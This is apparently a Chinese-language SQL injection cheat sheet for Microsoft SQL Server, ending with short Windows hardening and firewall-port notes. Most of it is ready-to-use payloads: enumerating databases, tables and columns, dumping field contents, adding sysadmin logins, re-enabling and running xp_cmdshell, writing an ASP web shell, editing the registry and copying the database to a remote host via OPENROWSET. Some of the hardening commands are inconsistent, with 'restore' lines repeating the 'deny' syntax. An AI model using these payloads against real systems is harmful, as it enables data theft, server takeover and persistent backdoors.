一、常用注入点
1.http://xxx.xxx.xxx?id=1 and [查询]
select * from table where id=1 and [查询]
2.http://xxx.xxx.xxx?name=test' and [查询] and ''='
select * from table where name='test' and [查询] and ''=''
3.http://xxx.xxx.xxx?query=' and [查询] and '%25'='
select * from table where query like '%' and [查询] and '%'='%'
二、猜解当前连接数据库信息
0.判断数据库信息
and 1=(select @@VERSION)
1.判断是否权限
1)服务器角色的成员:
and 1=(IS_SRVROLEMEMBER('sysadmin'))
sysadmin,dbcreator,diskadmin,processadmin,serveradmin,setupadmin,securityadmin
2)数据库角色的成员:
and 1=(IS_MEMBER('db_owner'))
3)判断是否支持多句执行
;declare @a int;--
2.得到当前使用库名
and 0<>db_name()
3.得到当前用户名
and user>0
4.得到库名
sysdatabases内dbid为1-6的是系统自建表
and 1=(select name from master.dbo.sysdatabases where dbid=7)
and 1=(select name from master.dbo.sysdatabases where dbid=8)
5.得到表名
and 0<>(select top 1 name from 库名.dbo.sysobjects where xtype=char(85))
and 0<>(select top 1 name from (select top 行数 name from 库名.dbo.sysobjects where xtype='U' order by name asc) as table1 order by name desc)
6.得到字段名
1)得到表的id
and 0<>(select count(*) from 库名.dbo.sysobjects where xtype='U' and name=char(97)%2Bchar(98)%2Bchar(99) and uid>(str(id)))
2)用得到的id查询列
and 0<>(select top 1 name from 库名.dbo.syscolumns where id=235147883)
and 0<>(select top 1 name from (select top 行数 name from 库名.dbo.syscolumns where id=235147883 order by name asc) as table1 order by name desc)
7.得到字段内容
and 0<>(select top 1 char(94)%2bCast(字段名 as varchar(8000))%2bchar(94) from 库名.dbo.表名)
and 0<>(select top 1 char(94)%2bCast(字段名 as varchar(8000))%2bchar(94) from 库名.dbo.表名 where 字段名 not in('已得到内容'))
and 0<>(select top 1 char(94)%2bCast(字段名 as varchar(8000))%2bchar(94) from (select top 行数 字段名 from 库名.dbo.表名 order by 字段名 asc) as table1 order by 字段名 desc)
三、使用存储过程得到服务器其他信息
0.添加用户
;exec sp_addlogin '用户名', '密码';--
;exec sp_password '旧密码', '新密码', '用户名';--
;exec master.dbo.sp_addsrvrolemember '用户名' 'sysadmin';--
;exec sp_droplogin '用户名';--
1.执行cmd命令
1)恢复
;exec master.dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--
;exec master.dbo.sp_dropextendedproc 'xp_cmdshell';--
;dbcc addextendedproc ("xp_cmdshell","xplog70.dll");--
2)执行xp_cmdshell
;exec master..xp_cmdshell 'ping 111.222.333.444';--
;declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:/';--
;exec master..xp_cmdshell 'echo 要写入内容>>绝对路径';--
3)回显
;Drop table cmd_list ;CREATE TABLE cmd_list (ComResult nvarchar(8000)) INSERT cmd_list EXEC MASTER..xp_cmdshell 'ipconfig -all';--
and (select char(94)+cast(count(1) as varchar(8000))+char(94) from comd_list where 1=1)>0
2.启动/停止服务
;exec master.dbo.xp_servicecontrol 'start', 'schedule';--
3.利用SP_OAcreate,SP_OAMETHOD执行对象
1)恢复
;exec master.dbo.sp_addextendedproc 'sp_OACreate','odsole70.dll';--
;dbcc addextendedproc ("sp_OACreate","odsole70.dll");--
2)执行
;DECLARE @o INT EXEC SP_OAcreate 'wscript.shell',@o OUT EXEC SP_OAMETHOD @o,'run',null, 'J:/WINDOWS/system32/cmd.exe /c net user aaa3 /add';--
;declare @o int,@f int exec sp_oacreate 'scripting.filesystemobject',@o out exec sp_oamethod @o,'createtextfile',@f out,'j:/foo5.asp',1 exec sp_oamethod @f,'writeline',NULL,'<% set o=server.createobject("wscript.shell")' exec sp_oamethod @f,'writeline',NULL,'o.run(request.querystring("cmd")) %>'
4.浏览目录
1)创建临时表
;create table temp1(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
2)获得当前所有驱动器
;insert temp1(id,num1,num2,num3) exec master.dbo.xp_availablemedia;--
3)获得当前子目录列表
;insert into temp(id,num1) exec master.dbo.xp_subdirs 'c:/';--
4)获得所有子目录的目录树结构
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:/';--
5)搜索文件
;insert into temp(id) exec master.dbo.xp_cmdshell 'dir c:/ *.asp /s/a';--
6)读取表中内容
and 0<>(select top 1 char(94)%2bCast(字段名 as varchar(8000))%2bchar(94) from (select top 行数 字段名 from 库名.dbo.表名 order by 字段名 asc) as table1 order by 字段名 desc)
5.从文件导入到表中
;create table 表名(line varchar(8000));--
;bulk insert 表名 from '绝对路径';--
6.操作注册表
1)读取整个键exec xp_regenumvalues
;drop table temp2;create table temp2(a varchar(1000),b varchar(8000));insert into temp2 exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE/Microsoft/Windows/CurrentVersion/Run';--
2)读取单个键值xp_regread
;drop table temp2;create table temp2(a varchar(1000),b varchar(8000));insert into temp2 exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE/Microsoft/Windows/CurrentVersion','CommonFilesDir';--
3)写入单个键值xp_regwrite
;exec master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE/Microsoft/Windows/CurrentVersion','TestValueName','REG_SZ','hello';--
;exec master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE/Microsoft/Windows/CurrentVersion','TestValueName','REG_DWORD','6';--
4)删除某个值xp_regdeletevalue
;exec master.dbo.xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE/Microsoft/Windows/CurrentVersion','TestValueName';--
5)删除整个键xp_regdeletekey
;exec master.dbo.xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE/Microsoft/Windows/CurrentVersion/Testkey';--
7.其他信息
xp_msver 返回并允许要查询的 Microsoft SQL Server版本信息。
xp_enumdsn 列举服务器上的ODBC数据源
xp_ntsec_enumdomains 列举服务器可以进入的域
xp_logininfo 报告帐户、帐户类型、帐户的特权级别、帐户的映射登录名和帐户访问 Microsoft SQL Server的权限路径。
sp_configure 检索数据库信息
sp_helpextendedproc 得到所有的存储扩展
四、复制远程数据库(反向连接)
;insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=password;Network=DBMSSOCN;Address=111.222.333.444,1433;', 'select * from dest_table') select * from src_table;--
五、备份数据库
1)首次完整备份
;backup database 库名 to disk='绝对路径';--
2)差异备份,生成文件较小
;backup database 库名 to disk='绝对路径' WITH DIFFERENTIAL,FORMAT;--
六、修改权限防止病毒或木马等破坏系统
因为目前的木马抑或是病毒都喜欢驻留在system32目录下,如果我们用命令限制system32的写入和修改权限的话
那么,它们就没有办法写在里面了.看命令
A命令
cacls C:windowssystem32 /G administrator:R 禁止修改、写入C:windowssystem32目录
cacls C:windowssystem32 /G administrator:F 恢复修改、写入C:windowssystem32目录
X命令
以下命令推荐给高级管理员使用[因为win版本不同,请自行修改参数]
cacls %SystemRoot%system32cmd.exe /E /D IUSR_ComSpec 禁止网络用户、本地用户在命令行和gui下使用cmd
cacls %SystemRoot%system32cmd.exe /E /D IUSR_Lsa 恢复网络用户、本地用户在命令行和gui下使用cmd
cacls %SystemRoot%system32tftp.exe /E /D IUSR_Lsa 禁止网络用户、本地用户在命令行和gui下使用tftp.exe
cacls %SystemRoot%system32tftp.exe /E /D IUSR_Lsa 恢复网络用户、本地用户在命令行和gui下使用tftp.exe
cacls %SystemRoot%system32tftp32.exe /E /D IUSR_Lsa 禁止网络用户、本地用户在命令行和gui下使用tftp32.exe
cacls %SystemRoot%system32tftp32.exe /E /D IUSR_Lsa 恢复网络用户、本地用户在命令行和gui下使用tftp32.exe
七、打造更安全的防火墙
端口 协议 应用程序
21 TCP FTP
25 TCP SMTP
53 TCP DNS
80 TCP HTTP SERVER
1433 TCP SQL SERVER
5631 TCP PCANYWHERE
5632 UDP PCANYWHERE
6(非端口) IP协议
8(非端口) IP协议
那么,我们根据自己的经验,将下面的端口关闭
TCP
21
22
23
25 TCP SMTP
53 TCP DNS
80
135 epmap
138 [冲击波]
139 smb
445
1025 DCE/1ff70682-0a51-30e8-076d-740be8cee98b
1026 DCE/12345778-1234-abcd-ef00-0123456789ac
1433 TCP SQL SERVER
5631 TCP PCANYWHERE
5632 UDP PCANYWHERE
3389
4444[冲击波]
4489
UDP
67[冲击波]
137 netbios-ns
161 An SNMP Agent is running/ Default community names of the SNMP Agent
关于UDP一般只有腾讯OICQ会打开4000或者是8000端口,那么,我们只运行本机使用4000端口就行了